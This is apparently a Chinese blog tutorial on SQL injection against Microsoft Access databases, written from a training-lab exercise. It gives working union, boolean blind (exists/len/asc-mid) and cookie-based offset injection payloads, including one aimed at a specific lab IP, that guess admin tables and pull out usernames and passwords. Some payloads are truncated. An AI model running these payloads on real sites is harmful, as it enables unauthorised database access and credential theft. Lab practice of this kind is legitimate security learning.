access數據庫—— 偏移注入&移位溢注&逐字猜解

目錄

前言

正文 

0x01 :access數據庫介紹

 

0x02 :Access——union注入

1)猜表

2)猜字段(查數據)

0x02 Access——逐字猜解注入

1)猜表

2)猜字段

 

3)判斷長度

4)查詢數據

0x03:Access —— 偏移注入

第一步

​第二步

​第三步

文末


 

前言

我前面寫的大部分都是基於MySQL數據庫下的注入,然而在其他數據庫也是可以使用的

本章章取材來自 墨者學院靶場

 

正文 

0x01 :access數據庫介紹

這只是個簡單的介紹,access裏不存在庫這個概念,所以是直接查表,然而表沒有自帶的,所以只能進行爆破

就是猜,全靠猜~~~

 

0x02 :Access——union注入

1)猜表

因爲Access沒有庫,所以只能直接使用order by 來判斷字段數

這裏我判斷後,字段爲4。於是直接寫了 payload

http://219.153.49.228:49151/new_list.asp?id=1 and 1=2 union select 1,2,3,4 from admin

可能會問admin怎麼知道的,其實就是猜的,也可以收集一些常用的表名,然後burp抓包進行爆破

一般user,admin 等等比較多

2)猜字段(查數據)

根據上面已經猜解出了admin表,然而這也是我們想要的

然後就是猜解字段,沒錯,字段也是要猜的~~~

字段常用的,user,admin,username,password,pwd,name,passwd

猜一猜,敲了猜到了是username,靶場總不會太難的。在實戰中,就不一樣了

?id=1 and 1=2 union select 1,username,3,4 from admin

但是這邊我們有 2 個回顯點,2和3.所以可以再3這邊猜密碼

經過一系列的猜解

?id=1 and 1=2 union select 1,username,passwd,4 from admin

最後密碼爲passwd

然後union注入就這樣了。靶場簡單,但是實戰中就不一樣了,能猜到表名就運氣好了,能猜到字段名,運氣就炸天了

 

0x02 Access——逐字猜解注入

1)猜表

這裏涉及到了個新函數

exists():校驗是否存在數據,存在則頁面正常,不存在則頁面報錯

可以看看這裏的一篇文章

這時候 我們構造payload

?id=1 and exists(select * from admin)

如果admin這個表存在的話,則返回正常頁面

如果不存在的話,返回錯誤頁面。通過查看下面兩圖就知道了

admin表存在

 

2)猜字段

猜字段名的話也就是按照SQL語句一樣

select 字段 from 表

所以我們猜測字段爲username(不要問我爲什麼,上面union注入已經弄了一遍了~)

?id=1 and exists(select username from admin)

這時候發現頁面正常,這時候我們就要爆數據了

 

3)判斷長度

這個其實跟盲注差不多手法(這裏我突然想寫個腳本了~)

首先判斷第一條數據長度

?id=1 and (select top 1 len(username) from admin)=4	

這時候頁面回顯正常,當等於5的時候錯誤,說明爲長度爲4

 

4)查詢數據

這時候就可以查詢數據了

and (select top 1 asc(mid(username,1,1)) from admin)=109

top 1 就是取前 1 條數據

top   3就是取前3 條數據

mid(字段,截取第幾位,1)

然後對照下ascii表,發現爲m

然後猜解第二位,發現頁面正常,隊友ascii表。發現爲o

?id=1 and (select top 1 asc(mid(username,2,1)) from admin)=111

於是這樣依次下來,就得知 username中的字段爲 moke,然後繼續爆破

也就得出了密碼

 

0x03:Access —— 偏移注入

接下來就開始進行偏移注入了

第一步


先判斷下最簡單的顯錯注入,結果被過濾了
那就進行偏移注入(表名爆破下就好了,這個是靶場,所以知道表名)
document.cookie=”id=”+escape(“171”)
看看頁面是不是正常,結果顯示正常


在and 1=2判斷下是否報錯


第二步


開始判斷下回顯點
document.cookie=”id=”+escape(“171 order by 10”)
結果發現10正常顯示,11報錯


第三步


因爲這個是access數據庫,所以忽略表名~~~~
document.cookie=”id=”+escape(“171 union select 1,2,3,4,5,6,7,8,9,10 from admin”)


直接看回顯點,這裏表名是必須知道了,不知道的話可以下載個常用表名字典
然後用burp跑包爆破
然後可以看到了回顯點有2,3,7,8,9

結果發現這個171的不行……(尷尬)
略過前面,找那個產品中心的,id=105進行

然後發現105的有26個字段


再次進行偏移注入
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")


再從右開始,刪除掉佔位符,admin.來代替
`document.cookie=”id=”+escape(“105 union select 1,2,3,4,5,6,7,8,9,10,admin.
 from admin”)`
發現頁面回顯正確


然後就一直移動
找到這個回顯就可以保留,然後再admin.帶入
document.cookie=”id=”+escape(“105 union select 1,2,3,4,8,9,11,12,13,admin.
,15 from admin”)
不會講,就差不多這樣


(聯合查詢要2邊相等)

table_name.代替了這個表的所有字段 (如 admin. 表名.*)
輸出點,有些藏在HTML源碼中
偏移注入用於字段表名無法字段字段名情況
偏移找到一個注入點,並且注入點字段數越多越好

 

 

文末

偏移注入是之前寫的,因爲偏移注入太麻煩了,就直接複製了一下

實戰中也是會遇到這種的偏移注入,我也是偶爾會遇到~~~~~

有空再發腳本,嘿嘿

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章